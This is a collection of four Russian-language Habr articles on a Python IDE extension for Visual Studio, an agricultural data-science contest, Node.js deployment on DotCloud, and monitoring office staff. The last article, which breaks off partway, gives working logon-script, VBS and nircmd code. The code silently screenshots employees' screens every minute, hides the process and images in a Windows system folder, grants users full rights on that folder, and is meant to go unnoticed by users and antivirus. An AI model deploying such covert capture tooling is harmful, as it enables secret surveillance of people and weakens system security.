Здравствуйте! Я – разработчик из команды [Python Tools for Visual Studio](https://pytools.codeplex.com/). На днях мы выпустили [новую бета-версию](https://pytools.codeplex.com/releases/view/103101) нашего продукта, и, воспользовавшись поводом, в этот раз я хотел бы поподробнее рассказать о том, что из себя представляет PTVS, и что он может вам предложить.
### Что такое PTVS?
Если вкратце, то Python Tools for Visual Studio (далее по тексту – PTVS), как, в общем-то, и следует из названия – бесплатное расширение для Visual Studio 2010 и выше, добавляющее в эту IDE полноценную поддержку Python. Поставив его себе, вы получаете редактирование кода на Питоне с подсветкой и продвинутым автозавершением, навигацией по коду, рефакторингом, отладкой, профилированием, и поддержкой Django с возможностью публиковать веб-сайты на Windows Azure в два клика. При этом поддерживаются все редакции Visual Studio, позволяющие установку расширений – как платные Professional, Premium и Ultimate, так и бесплатный [Shell](http://msdn.microsoft.com/en-us/library/vstudio/bb129445.aspx). В сочетании с последним, PTVS составляет полноценную бесплатную среду разработки на Python под Windows – и в этой версии мы сделали [удобный комбинированный установщик](https://pytools.codeplex.com/downloads/get/697389) для VS Shell + PTVS. Если же вы уже поставили себе Visual Studio 2013 Preview, то в диалоге New Project вас ждет приятный сюрприз:
Наш проект, в некотором роде, уникален для Microsoft. Открытыми (под Apache License 2.0) исходниками нынче никого не удивишь, но мы не просто [публикуем исходники](https://pytools.codeplex.com/SourceControl/list/changesets) на CodePlex, но и приглашаем всех желающих [совместно работать над проектом](https://pytools.codeplex.com/wikipage?title=Contributing%20to%20PTVS). Да-да, мы принимаем сторонний код!
И напоследок, поскольку с этим моментом чаще всего возникает путаница: PTVS – это не IronPython, и это не среда, ориентированная исключительно на IronPython. Мы поддерживаем практически все реализации Питона в той или иной степени – CPython, IronPython, Jython, PyPy, Stackless – но приоритетным является поддержка стандартного, и используемого большинством разработчиков на Питоне, интерпретатора CPython.
Далее я рассмотрю ряд наиболее интересных и уникальных возможностей PTVS более подробно.
### Работа с кодом
Пожалуй, для любого разработчика, в первую очередь именно удобство работы с кодом является определяющем в выборе IDE. Именно поэтому продвинутый движок для разбора питоновского кода — на котором реализованны автодополнения, рефакторинг, символьный поиск и прочие ключевые фичи — был первым, что было создано в рамках проекта PTVS. С каждой новой версией мы улучшали качество разбора, и бета 2.0 – не исключение.
Простым автодополнением для динамически типизированных языков сегодня уже никого не удивишь, но многие редакторы «буксуют» на даже на тривиальных примерах использования динамических возможностей языка. Возьмем, например, вот такой код:
```
def f(x):
def g(y):
return x + y
return g
a = f(1)(2)
b = f(3.0)(a)
c = f(u'a')(str(b))
d = (a, b, c)[input()]
```
Поскольку оператор сложения в Питоне полиморфен, то тип значения, возвращаемого g – и, как следствие, тип значений в a, b и c – зависит исключительно от типов передаваемых аргументов. Тип d наиболее сложен, поскольку он косвенно зависит от типов всех трех предыдущих переменных – при этом редактору нужно сначала собрать, а потом разобрать кортеж.
PTVS пытается однозначно определить тип при каждом конкретном вызове, учитывая ранее выведенные типы передаваемых аргументов. Вот подсказки и дополнения, которые выдаются в редакторе для различных переменных в этом коде:
Как видите, в последнем случае у переменной несколько потенциальных типов, и автодополнение отображает их все.
На результат вывода типов можно посмотреть и с другой стороны, если запросить подсказку для параметра функции в её теле:
Здесь собраны все типы аргументов, с которыми функция вызывается где-либо в коде – автодополнение для них в теле функции будет работать соответствующим образом. У этого есть интересное следствие – если вы используете TDD, и сначала пишете тесты для ваших функций и классов, а потом уже их реализации, то вы автоматически получите корректное автодополнение для всех параметров.
Помимо автодополнений, работает также и поиск объявлений и ссылок на переменные. Здесь у PTVS есть одно интересное дополнение – если переменная, с которой начался поиск, ссылается (или может ссылаться) на функции или классы, то в результатах поиска, кроме строки, на который этой переменной было присвоено значение, будут также и исходные объявления этих функций и классов – даже если значение было присвоено не напрямую. Например, если добавить к коду выше такие строки:
```
h = f if input() else f(a)
print h(b)
```
и выполнить команду Find All References на h, то получим следующий результат:
Как видите, в списке фигурирует функция g, поскольку именно её вернул вызов f(a). Разумеется, это отражается и в результатах автодополнения при попытке вызвать h – в предлагаемых вариантах сигнатур будут фигурировать все известные варианты для f и g:
### Отладка смешанного кода
Эксклюзив в бете 2.0 – такого больше нет нигде. Это тот самый случай, когда одна картинка стоит тысячи слов. Вот она:
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/5684.clip_5F00_image010_5F00_763395C8.png)
На скриншоте – отладчик, присоединенный к программе на C#, которая загружает в себя CPython, который, в свою очередь, загружает модуль расширения, написанный на C++ — и все эти три вещи вызывают друг друга довольно-таки запутанным образом, который можно изучить в окне стека вызовов. Разумеется, можно создавать breakpoints во всех проектах, но самое главное, что дает такой комбинированный режим – возможность пошаговой отладки межъязыковых вызовов. Например, если выполнить команду Step In на строке питоновского кода, которая вызывает метод класса, реализованного в C++, то вы попадете в исходник этого метода. Точно так же это работает для кода на C++ или C#, вызывающего PyObject\_CallObject для функции, написаной на Питоне. Поддерживаются также и вызовы нативного кода в обычных динамических библиотеках через ctypes.
Хотя на скриншоте показана одновременная отладка трех языков, на практике чаще всего дело ограничивается двумя – Питоном и C++ (или C) – либо это программа на Питоне, в которой используются модули расширения, либо программа на C++, использующая Питон в качестве скриптового языка. По этой причине мы добавили в отладчик ряд возможностей, доступных только для C/C++. Обратите внимание на окно Locals на скриншоте, и развернутое представление значения переменной a\_natobj, которая ссылается на объект класса, реализованного на C++: одновременно с питоновским представлением объекта она показывает и C++-представление структуры, которая реализовывает его класс. Есть и зеркальное отображение питоновских объектов со стороны C++ — вот как выглядит то же самое окно Locals в функции frob:
Как видите, значения переменных, объявленных в C++ как PyObject (или какой-либо другой стандартный тип из Python API), отображают питоновские представления этих объектов одновременно с полями соответствующих C-структур.
### Отладочный REPL
Наличие обычного REPL для Питона является стандартным в IDE для него, и PTVS не является исключением – разумеется, мы поддерживаем также и подсветку синтаксиса, и автодополнение (причем последнее, по возможности, работает напрямую со значениями в памяти, чтобы давать для них аккуратные подсказки). Но мы пошли дальше, и сделали поддержку «живого» REPL при отладке кода – то есть REPL работает непосредственно над данными в отлаживаемом процессе, позволяя вам на лету вычислять сложные выражения и переопределять классы и функции. Вот скриншот с отладочным REPL для первого примера из этой статьи:
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/0172.clip_5F00_image012_5F00_7A67B051.png)
### Django и Windows Azure
PTVS поддерживает создание веб-приложений на Django, предоставляя подсветку синтаксиса, автозавершение кода и отладку для шаблонов отображений:
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/6735.clip_5F00_image013_5F00_0B04CCA2.png)
И, начиная с этой версии PTVS, созданные таким образом приложения можно опубликовать на веб-сайт в [Windows Azure](http://windowsazure.com/ru-ru/pricing/free-trial/) с легкостью, которая ранее была доступна только для ASP.NET:
Et voilà!
Да-да, веб-сайты Azure теперь [поддерживают Python](http://www.windowsazure.com/en-us/develop/python/)! Вы можете также использовать и другие возможности Azure – table service, blob service, service bus, storage queues и т.д. – в ваших приложениях на Питоне при помощи официального [Windows Azure SDK для Python](https://github.com/WindowsAzure/azure-sdk-for-python), над которым также работает наша команда. При этом SDK является кросс-платформенным: единственным требованием для него является Python 2.6 или выше.
### Профилирование
И снова скриншоты скажут куда больше, чем слова:
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/2313.clip_5F00_image016_5F00_58170B44.png)
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/2656.clip_5F00_image018_5F00_6203AEC2.png)
### … и многое другое!
Возможности PTVS не ограничиваются вышеперечисленным – у нас есть и другие интересные фичи, такие, как рефакторинг, работа с virtualenv и управление пакетами через pip и easy\_install, удаленная отладка программ на Linux и OS X, поддержка [IPython](http://ipython.org/) в REPL (с визуализацией графиков), и отладка и профилирование питоновского кода на MPI-кластерах. Вы можете почитать о них более подробно на [странице документации проекта](https://pytools.codeplex.com/documentation), или посмотреть [обзорное видео](http://www.youtube.com/watch?v=TuewiStNT0M).
### Ваше мнение очень важно для нас
Нет, серьезно, оно действительно важно! У нас есть [открытый баг-трекер](https://pytools.codeplex.com/workitem/list/basic), и мы всегда рады увидеть в нем баг-репорты и предложения от пользователей. Насчет предложений – это не пустой звук. Когда мы начинаем работать над новой версией, и решаем, что именно в ней будет, то первое, что мы делаем – открываем список feature requests в трекере, сортируем по голосам пользователей, и смотрим, что оказалось наверху. Так, в версии 2.0 мы реализовали пять фич из top 10 по голосам, в том числе три, которые были на первых трех местах. Если же вы хотите просто задать вопрос или обсудить что-то, это можно сделать на нашем [форуме](https://pytools.codeplex.com/discussions). И, разумеется, я буду рад ответить на любые ваши вопросы в комментариях к этой статье. | https://habr.com/ru/post/185412/ | null | ru | null |
# Фейс-контроль для лимонов и марсианская клубника: как я попал на стажировку в Россельхозбанк после участия в DS-конкурсе
Думаю, осталось не так много людей, которые не слышали о хакатонах и соревнованиях по Data Science. О них полгода назад услышал и я. Участвуя во всём, что видел (и что-то даже выигрывая), я не смог пройти мимо AgroCode 2020, организованного Россельхозбанком. Мне удалось попасть в топ лучших участников по нескольким направлением, а в одном - и вовсе взять призовое место. Благодаря этим достижениям я стал Data Science специалистом в Центре Развития Финансовых Технологий Россельхозбанка. А как у меня это вышло – читайте ниже.
Главный агрокодинг страны
-------------------------
Для начала, скажу пару слов о самом мероприятии. AgroCode 2020 объединил много неравнодушных к новым технологиям в сельском хозяйстве людей. Он состоял из нескольких активностей:
1. Соревнование по анализу данных Agro Data Science Cup с 2 задачами:
* определение сельскохозяйственной культуры по ежедневным значениям нормализованного индекса вегетации
* определение недостатков плодов лимона по фотографии.
2. Хакатон Agro Hack с 6 кейсами из агроиндустрии:
* создание рекомендательного сервиса по размещению культур на сельскохозяйственных полях
* выбор оптимального поставщика удобрений
* определение заболоченных и переувлажненных участков сельскохозяйственных угодий
* создание нейросети для обнаружения заболеваний листьев яблони по фотографии
* разработка полетного задания для группировки сельскохозяйственных дронов
* разработка приложения для повышения урожайности космической клубники.
Для участия в хакатоне командам, подавшим заявку, нужно было пройти отбор. В итоге за призовые места боролись по 10 команд для каждого кейса.
3. Конкурс идей Agro Idea, которые должны помочь решить проблемы фермеров и агроиндустрии.
Выбирая из этих вариантов, я решил поучаствовать в соревновании по анализу данных и хакатоне, на котором моей команде удалось пройти отбор. Участие в хакатоне не принесло нам призов, хотя, как мне кажется, решение получилось интересным. О нем вкратце расскажу ближе к концу статьи. DS- соревнование прошло куда более результативно. В задаче с лимонами удалось попасть в топ-10, а в задаче с индексом вегетации - занять 2 место!
Задача про индекс вегетации
---------------------------
В данной задаче требовалось определить сельскохозяйственную культуру по ежедневным значениям нормализованного индекса вегетации. Данные для неё были собраны по 17 регионам РФ преимущественно Европейской части России.
### Что за данные?
Данные выглядели крайне просто и понятно: год, ID поля, площадь поля, наименование культуры (закодированное в численное представление) и данные индекса вегетации за каждый из 365 дней.
Датасет для задачи про индекс вегетации### Метрика
Для оценивания качества прогноза организаторами конкурса была выбрана взвешенная F1-мера из библиотеки sklearn (с параметром average="weighted").
Метрика важна для понимания того, как получить наилучший скор. Для этой задачи я сделал вывод: нужно как можно меньше допускать ошибки в наиболее распространенных классах, так как они сильно влияют на метрику. Это должно быть учтено на этапе создания модели.
### Индекс вегетации? Это что?
Индекс вегетации или, как выражаются умные люди, NDVI — это довольно простое отношение
Для его подсчета нам нужны спутниковые снимки, содержащие 4 канала: классические RGB и канал инфракрасного спектра. Соответственно, в формуле RED — это канал красного цвета, а NIR — инфракрасного спектра.
Изображение поля с подсчитанным ndvi### Какие особенности я увидел в этих данных?
* Во-первых, наблюдается волатильность в начале года примерно до 45 дня и пропущенные значения индекса, начиная с 279 дня. Это объясняется довольно просто: в начале года большая часть полей покрыта снегом и из-за этого индекс принимает аномальные значения, в конце года (предположительно) данные собираются не так активно, так как период сбора урожая закончен.
* Во-вторых, в течение всего года индекс может совершать неоправданные колебания, которые происходят из-за высокой облачности (хорошая идея для аналитиков в этой отрасли - учитывать облачность при подсчете индекса). С этой проблемой я боролся путем сглаживания временного ряда и эвристических констант, однако эти способы только ухудшали модель.
* В-третьих, классы крайне несбалансированны. Очевидно, ведь пшеницы высаживается гораздо больше, чем овса. Эту проблему я решал уже на стадии создания и обучения модели.
### Создание новых фичей
Вполне логичным решением для получения лучших значений метрики является создание фичей. Тут я вспомнил про одну из своих любимых, которая часто помогает в решении задач, связанных с физическими или химическими процессами. Это скорость - одна из важнейших характеристик процесса, которую легко получить, вычитая из значения текущего дня значение предыдущего. Для значений индекса по дням и скоростей изменения индекса я добавил среднее, сумму и значения по квантилям.
Но и это не всё… Так как мы говорим об индексе растительности, можно придумать также и фичи, непосредственно связанные с растениями. Так появляются количество дней и сумма значений индекса, в которые индекс превышал каждый из квантилей. Аналогично и со скоростями.
Также я пробовал убирать или оставлять ID, площадь поля и год. По итогу эффективным оказался только признак площади. И последнее - брал значения индекса и скоростей с определенным периодом. Параметры периода я тестировал через цикл и смотрел метрику на валидации. Лучшими оказались два варианта: брать ежедневные значения индекса и значения скоростей с периодом 2 и 4 дня.
### А что с дисбалансом?
Распределение культур в тренировочных данныхВ данных есть классы, которые отличаются количеством сэмплов на порядки. Из-за этого обычная KFold или StratifiedKFold не подходит, так как некоторые образцы будут всё равно теряться. Таким образом я написал достаточно простую функцию сэмплирования. Случайным образом выдаётся набор данных для каждого таргета, и эти данные конкатенируются. В валидацию же уходят данные, которые не попали в тренировочный набор. Таким образом я обеспечил присутствие всех культур на каждой итерации кросс-валидации. А дальше дело остается за настройкой и обучением модели.
### Модель
Как и подобает поступать на таких соревнованиях, я использовал градиентный бустинг, взяв классификатор из своей любимой библиотеки CatBoost. И, естественно, подобрал оптимальные параметры обычным перебором, остановившись на следующим варианте:
```
params = {
'iterations': 2000,
'depth': 6,
'early_stopping_rounds': 500,
'l2_leaf_reg': 5,
'bagging_temperature': 1,
'random_seed': 17,
'class_names': classes,
'auto_class_weights': 'Balanced',
'eval_metric': 'TotalF1',
'loss_function': 'MultiClassOneVsAll',
'task_type': 'GPU',
'devices': '0:1',
'verbose': 2000
}
```
Важными настройками для модели оказались веса для классов с параметром “Balanced” и функция потерь “MultiClassOneVsAll”. Данные настройки оказывают дополнительную поддержку в борьбе с дисбалансом данных. Остается обучить и получить предсказания. Сначала запускается цикл, в котором я меняю параметры датасета, потом цикл, в котором меняется random\_seed для получения различных сэмплов датасета. Далее - обучение и получение предикта. Предсказания брались только от тех моделей, которые показывали высокий скор на валидации, затем они складывались и нормировались. Если посмотреть распределение культур для предсказаний, то можно увидеть, что в предсказаниях присутствуют практически все культуры.
Предсказанное распределение культур в тестовых данных### Результат
Итогом работы алгоритма стало 18 место на публичном лидерборде. Было довольно грустно в течение нескольких дней наблюдать эту картину, зная, что на валидации получается адекватный скор. Но когда появились результаты тестирования на приватной части, я резко переместился с 18 на 2 место. Отрыв от первого места крайне незначительный, а вот от третьего - солидный. Именно поэтому валидация — это чуть ли не самое важное в таких соревнованиях.
Итоговый лидерборд первой задачиЗадача про лимоны
-----------------
Вторая задача была куда более сложной: организаторы решили не отдавать призы просто так и сделали для задачи некоторые технические ограничения. К тому же мне немного не хватало опыта работы с изображениями. Однако, собрав все возможные статьи с Хабра, Кэггла и Медиума, я решил попробовать решить и эту задачу.
Главной тематикой были вот такие (как на картинке) лимоны. Целью же было выявить вероятности того, что тот или иной дефект присутствует на изображении.
А какой лимон выберешь ты? ### Немного о данных
Данные представляют собой набор изображений и аннотаций к ним. Изображения — это цветные картинки лимонов размера 1056 х 1056 пикселов в формате .jpg. Лимоны на картинках изображены с разных ракурсов и в разных условиях освещения. Аннотации содержат наименования категорий, категории недостатков для каждого изображения, полигоны областей с недостатками и прочее. Аннотации есть только для тренировочной выборки. А вот ссылка на датасет: <https://www.kaggle.com/maciejadamiak/lemons-quality-controldataset>
### Метрика
В этой задаче метрикой является стандартный ROC-AUC. Для подсчета используется следующий код:
```
def score(y_true, y_preds):
table = y_true.merge(y_preds, left_on='image_id', right_on='image_id')
m = keras.metrics.AUC(curve='ROC')
m.update_state(table.iloc[:, 1:10], table.iloc[:, 10:])
return m.result().numpy()
```
### Сложности
Организаторы довольно сильно усложнили задачу в два действия.
Это было не соревнование csv-файлов. Нужно было засабмитить только .py файл с кодом, который выполняется в докер-контейнере. При этом должно было выполниться не только предсказание ответов, но и обучение модели. Да ещё и интернета в контейнере нет, что порождает запрет на использование предобученных весов для моделей.
Но на этом организаторы не остановились и установили лимит на время исполнения отправленного кода всего в 20 минут. А теперь вспомните, что нужно обучать модель в контейнере. Стало страшно? Мне стало.
Исходя из ограничений стало понятно, что тяжелую модель, обученную в течение нескольких часов использовать не получится. К тому же, после длительного решения первой задачи соревнования времени на эту осталось крайне мало. Решив не изобретать велосипед, я воспользовался бейзлайном, который предоставили организаторы, переписал предобработку, модель и процесс обучения и предсказания.
### Предобработка данных
Самым классическим решением для предобработки изображений является аугментация. Я использовал изменение яркости, различные повороты и сдвиги.
```
aug = ImageDataGenerator(
rotation_range=40,
width_shift_range=0.1,
height_shift_range=0.1,
brightness_range=[0.5, 1],
shear_range=0.2,
channel_shift_range=0.2,
zoom_range=0.2,
horizontal_flip=True,
vertical_flip=True,
fill_mode="nearest"
)
```
### Что за нейронка?
Я собрал довольно классическую модель, которая всегда дает неплохой результат. В качестве backbone взят VGG16, далее AveragePooling, полносвязный слой (Dense) и Dropout.
```
model = VGG16(weights=None, include_top=False, input_shape=[image_size, image_size, 3])
x = AveragePooling2D(pool_size=(2, 2))(model.output)
x = Flatten()(x)
x = Dense(256, activation='relu')(x)
x = Dropout(0.5)(x)
output = Dense(9, activation='sigmoid')(x)
```
Безусловно, модель можно было улучшать и улучшать, меняя и добавляя слои или пробуя другие бэкбоуны.
Для обучения я использовал KFold кросс-валидацию. Для меня это спорное решение, так как требуется больше времени на обучение модели, но проверить больше вариантов я просто не успел.
### Результат
Несмотря на относительно простое решение и недостаток времени на его улучшение мне удалось завершить соревнование на 9 месте, что я считаю еще одним небольшим достижением.
Итоговый лидерборд для второй задачиА теперь про хакатон
--------------------
Сразу после окончания соревнования по анализу данных начался хакатон. Наша команда называется “Московские Зайцы” и нас часто можно встретить на других подобных мероприятиях. Задачу выбирали исходя из того, что может получиться и для чего уже есть идеи. Так мы пришли к задаче оптимизации выращивания марсианской клубники.
Картинка из нашей презентации### О задаче
Для задачи организаторы поставили следующие цели:
1. Нужно создать прототип приложения, которое помогло бы эффективнее выращивать марсианскую клубнику, используя собираемые данные.
2. Приложение должно помогать реагировать на аномалии в данных – неблагоприятные условия роста и неисправности датчиков.
3. На основании предоставленных данных необходимо найти оптимальные режимы выращивания марсианской клубники (режимы полива, температуры, влажности, освещения и т.п.).
Марсианский комплекс по выращиванию клубники состоит из 5 теплиц, в каждой из которых размещены датчики температуры, освещенности, влажности и кислотности почвы.
Нам были предоставлены данные за 3 года по каждой из теплиц. Для каждого года дана урожайность в условных единицах. Датасет с показаниями датчиков Датасет с показателями урожайности
Датасет с показаниями датчиковДатасет со значениями урожайности### Наше решение
Мы сразу разделили задачу на две части: анализ данных и создание веб-приложения.
Для решения первой задачи я проанализировал все показатели теплицы, чтобы выявить оптимальные, и сравнил их с тем, что советуют садоводы в интернете.
Если вы планируете выращивать клубнику, то можете принять к сведению мои выводы:
* Наибольший урожай достигался, если температура в большинстве случаев находилась в пределах от 19 до 30 градусов, а средняя температура колебалась от 23 до 25 градусов. Эти данные соответствуют общепринятым температурам для выращивания клубники.
* Наибольшая урожайность также достигалась при уменьшенной увлажненности почвы. Это опять же соответствует практикам выращивания клубники, когда для получения более качественного урожая при созревании уменьшается полив.
* Клубника - светолюбивое растение. Неудивительно, что высокая урожайность достигалась вкупе с большим количество света.
* Значение средней кислотности почвы во всех случаях составляло около 7.
Потом я сделал предиктивную модель, обученную на наиболее благоприятных условиях для выращивания клубники. Данная модель подгоняла текущий курс выращивания под оптимальный. О результатах работы алгоритма судить сложно, так как было предоставлено мало данных и нам не дали времени на реальный эксперимент. Данная модель выдавала вот такую картинку:
Температурный режим в теплицеНа графике: красный - режим одного случая из датасета, зеленый - предсказанный для этого случая уровень, желтый - рекомендованный уровень (сглаженный предсказанный уровень).
Что же мы придумали в качестве веб-приложения? Навык для голосового помощника. Логика заключалась в том, что на Марсе достаточно тяжелые условия, которые требуют специальной экипировки и постоянной занятости. Следовательно, нужно упростить интерфейс, а самый простой для взаимодействия интерфейс — это голосовой помощник. Можно посмотреть принцип его работы в этом видео:
### Отчего же не победа?
Поверьте, я не раз задавался этим вопросом после объявления результатов, но предполагаю, что судьи выбирали наиболее применимый проект. Однако, нет повода отчаиваться, это явно не последний Agro Hack :) (по секрету скажу, что велик шанс ежегодного агрокодинга).
Стажировка
----------
А теперь угадайте, что я сделал после оглашения результатов? Правильный ответ - успел написал организаторам с вопросом о стажировке быстрее, чем они написали об этом мне! Отбором мне послужили тестовое задание и собеседование, которые я успешно прошел.
Сейчас я уже познакомился с коллегами и исследую применимость моделей для маркетинговых задач и даже получил первую зарплату!
Так что, если вы думаете, куда податься во время или после учёбы или вовсе сменить работу, то знайте, что в Центре Развития Финансовых Технологий, который кстати курирует лично глава Россельхозбанка Борис Листов, вы найдете отличных коллег и займетесь развитием интересных и новых для России продуктов. | https://habr.com/ru/post/551478/ | null | ru | null |
# Развертывание Nodejs приложения на DotCloud
Интро
=====
[Dotcloud](https://www.dotcloud.com/) — это это облачная платформа для развертывания приложений. Стек на DotCloud включает в себя более 10 различных сервисов среди которых есть и **Node.JS**.
Мои первые впечатления от **DotCloud** были весьма положительные. Можно практически забыть о том как развертывать приложение и полностью сосредоточится на коде. Работа по развертыванию сводится к установке **DotCloud CLI** и настройке файла окружения **dotcloud.yml**. Установка клиента под Linux/MacOS тривиальна:
> `sudo easy\_install pip && sudo pip install dotcloud`
Подготовка к развертыванию
==========================
Для развертывания приложения на Dotcloud необходим файл **dotcloud.yml**, который описывает сервисы к которым приложение будет иметь доступ. Полный список приложений можно посмотреть по [ссылке](http://docs.dotcloud.com/services/roadmap/). Для доступа к стеку Node.JS + Redis файл **dotcloud.yml** может иметь следующий вид:
> `www:
>
> type: nodejs
>
>
>
> data:
>
> type: redis`
Если приложение на Node.JS использует дополнительные пакеты, то можно использовать файл **package.json**, в котором указать зависимости от других пакетов. Пакеты будут автоматически установлены при развертывании. Пример файла **package.json**:
> `{
>
> "engines": {
>
> "node": ">=v0.4.5"
>
> },
>
> "dependencies": {
>
> "redis": ">=0.6.6",
>
> "express": ">=2.4.2"
>
> }
>
> }`
Для автоматического запуска приложений на Node.JS необходимо создать третий файл с названием **supervisord.conf** и указать в нем путь запуска
> `[program:node]
>
> command = node index.js
>
> directory = /home/dotcloud/current`
Использование environment.json
==============================
Получить доступ к стеку сервисов которые были указаны в файле *dotcloud.yml* очень просто. После развертывания приложения к домашней директории создается файл **environment.json**, содержащий информацию для доступа к сервисам. Используя этот файл можно настроить приложение для автоматического использования настроек к базам данных не заботясь о ручной настройке. Поскольку я указал Redis в качестве базы данных в файле *dotcloud.yml* и назвал его **data**, то для получения настроек к Redis из приложения на Node.JS достаточно написать:
> `var envfilepath = '/home/dotcloud/environment.json',
>
> environment = JSON.parse(require('fs').readFileSync(envfilepath));
>
>
>
> var host = environment['DOTCLOUD\_DATA\_REDIS\_HOST'],
>
> port = environment['DOTCLOUD\_DATA\_REDIS\_PORT'],
>
> pass = environment['DOTCLOUD\_DATA\_REDIS\_PASSWORD'];`
Развертывание
=============
Для создания приложения на Dotcloud необходимо написать в консоле:
> `dotcloud create appname`
(*appname* — в данном случае имя приложения, которое может быть любым)
Ну и непосредственно пуш приложения на Dotcloud
> `dotcloud push appname ~/path-to-node-app/`
При успешном деплое выдадут www адрес для доступа к приложению
> `Deployment finished successfully. Your application is available at the following URLs
>
> www: d07c100d.dotcloud.com`
Что еще можно сделать
=====================
Использование собственного доменного имени.
Для этого надо прописать *DNS* запись **CNAME gateway.dotcloud.com.** для соответствующего домена. И добавить алиас к своему приложению на Dotcloud:
> `dotcloud alias add appname.www www.example.com`
Также можно подключится по SSH
> `dotcloud ssh appname.www`
Полный список команд можно получить в подробной документации на [официальном сайте](http://docs.dotcloud.com/) | https://habr.com/ru/post/125375/ | null | ru | null |
# Организация мониторинга работы сотрудников в малом офисе
Заместитель директора по безопасности вызывает к себе в кабинет. Ставится задача: безопасник хочет видеть, чем занимался каждый сотрудник в течение дня. Желательно, с архивом в несколько дней. В ходе беседы выясняется, что «ввод с клавиатуры» сотрудника его абсолютно не интересует, ему нужно только видеть, что происходило на экране монитора в рабочее время.
Рассмотрим вариант, как мы можем это все реализовать. Что нам нужно?
1. Программа, работающая в скрытом режиме, без уведомлений, не содержащая кода, определяемого как вирус, легкая и не мешающая работе самого пользователя.
2. Сетевое хранилище из расчета максимум 1 Гб на каждого пользователя на три дня.
3. Сервер, не выполняющий важных ролей в сети с разгруженным сетевым интерфейсом.
4. Полученные данные должны легко обрабатываться и анализироваться.
От записи видео сразу отказываемся, т.к.:
* во-первых: слишком большой объем данных — 9-часовой рабочий день сотрудника выходил в самом ужатом формате порядка 2 Гб;
* во-вторых: большая нагрузка — даже самый незаметный рекордер доставит пользователю видимый дискомфорт;
* в-третьих: неудобство в анализе полученной информации — перемотка многочасового видео, монтаж, когда нужен отчет по сотруднику, много вопросов «А как?» и т.д.
* в-четвертых: не все такие программы могут взаимодействовать с терминальными сеансами или вернуть себе работоспособность после выхода из блокировки\сна.
Таким образом, мы приходим к единственному варианту — делать скриншоты. Программ для этих целей огромное количество, но все они имеют кучу недостатков, а именно:
1. Часто определяются как вирусы, многие даже не всегда удается добавить в список исключенных процессов антивируса.
2. Недостаточный или лишний функционал.
3. Излишнее взаимодействие с рабочей областью пользователя («Ой, а что это у меня мышка так дергается и экран каждую минуту мигает?»).
4. Нормальные программы идут только в комплекте с комплексным решением, репорт-центрами и за большие деньги.
Несколько месяцев я пробовал самые разные программы, включая платные с триал-периодами. И каждый раз, в ходе обкатки, сталкивался с кучей проблем, описанных выше. Даже ходил на презентацию одного из раскрученных продуктов, который чуть ли не замеряет, сколько кофе сотрудник выпил в течение дня. Все не то, все слишком громоздкое или слишком кривое. Нужно было простое решение, легкое и эффективное. И тогда я начал смотреть не в сторону готовых решений, а в сторону универсальных скриптов.
Для начала — на каждом компьютере под управлением Windows есть командная строка. Есть домен, есть групповые политики и log-on скрипты. Все, что мне остается — запустить из командной строки цикл, который будет делать скриншоты экрана и записывать их в локальную папку. А на сервере я создам задание планировщику с повтором каждый час, по которому все накопленные скриншоты будут с компов забираться и складироваться в нужную папку, которую и будет просматривать наш безопасник. Проблема в том, что у командной строки нет функционала «сделать скриншот». Зато такой функционал есть у [nircmd](http://www.nirsoft.net/utils/nircmd.html) и даже больше.
Плюсом идет бесплатность, легкость, отсутствие вирусного кода и гибкость.
Итак, начнем. Первым делом, нам нужно будет запускать nircmd так, чтобы конечный пользователь об этом не подозревал. Тут нам поможет vbs:
```
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
```
Назовем его admin.vbs и добавим в наш log-on скрипт:
```
cmdow @ /HID
ECHO off
REM ----- PREPARE INJECTION ---------------------------------------------------------------
MKDIR C:\WINDOWS\Security\Domain\
MKDIR C:\WINDOWS\Security\Domain\Log
IF EXIST "C:\WINDOWS\Security\Domain\start.bat" (
DEL C:\WINDOWS\Security\Domain\start.bat
DEL C:\WINDOWS\Security\Domain\finish.bat
REM ----- INJECT --------------------------------------------------------------------------
copy "\\SYSVOL\Domain\scripts\monitor\inject\start.bat" "C:\WINDOWS\security\Domain\"
copy "\\SYSVOL\Domain\scripts\monitor\inject\finish.bat" "C:\WINDOWS\security\Domain\"
)
copy "\\SYSVOL\Domain\scripts\monitor\inject" "C:\WINDOWS\security\Domain\"
ping 127.0.0.1 -n 1 -w 1000 > nul
REM ----- LOG MONITOR ---------------------------------------------------------------------
IF "%1"=="/login" (goto LOG-IN)
IF "%1"=="/logout" (goto LOG-OUT)
:LOG-IN
wscript.exe "C:\WINDOWS\security\Domain\admin.vbs" "C:\WINDOWS\security\Domain\start.bat"
(ECHO %DATE% %TIME% --- %COMPUTERNAME%: %USERNAME%: LOGGED IN. Processing start.bat )>>"\\DomainController\LOG\nir_journal.txt"
goto EOF
:LOG-OUT
REM wscript.exe "C:\WINDOWS\security\Domain\admin.vbs" "C:\WINDOWS\security\Domain\finish.bat"
(ECHO %DATE% %TIME% --- %COMPUTERNAME%: %USERNAME%: LOGGED OUT. Processing finish.bat )>>"\\DomainController\LOG\nir_journal.txt"
goto EOF
```
Сперва мы удаляем старые версии наших батников, потом закачиваем новые. А также закачиваем сам nircmd.exe и admin.vbs. Отлично, и start.bat, и finish.bat теперь будут запущенны незаметно для пользователя. Наполняем start.bat следующим содержанием:
```
echo off
REM 43200 = 60*24*30 = 1 month.
c:\windows\Security\Domain\nircmd.exe loop 43200 60000 savescreenshot "c:\windows\Security\Domain\Log\scr~$currdate.MM_dd_yyyy$-~$currtime.HH_mm_ss$.jpg"
```
И на этом с пользователями мы закончили. Теперь на каждом компьютере, где нужно, будет висеть процесс nircmd (если exe переименовать — имя процесса также изменится) который, как правило, вообще ни у кого интереса не вызывает. Процесс будет делать скриншот каждую минуту в течение месяца и сохранять его в c:\windows\Security\Domain\Log\. Если пользователь месяц не будет выходить из системы — частный случай, можно его просто вечером выкинуть для профилактики, сославшись на обновления или зайти под ним и запустить log-on скрипт еще раз. Единственное, о чем нам стоит заранее позаботиться — это разрешить пользователю писать в папку:
```
cacls "\\%PC%\C$\windows\Security" /G %USER%:F
```
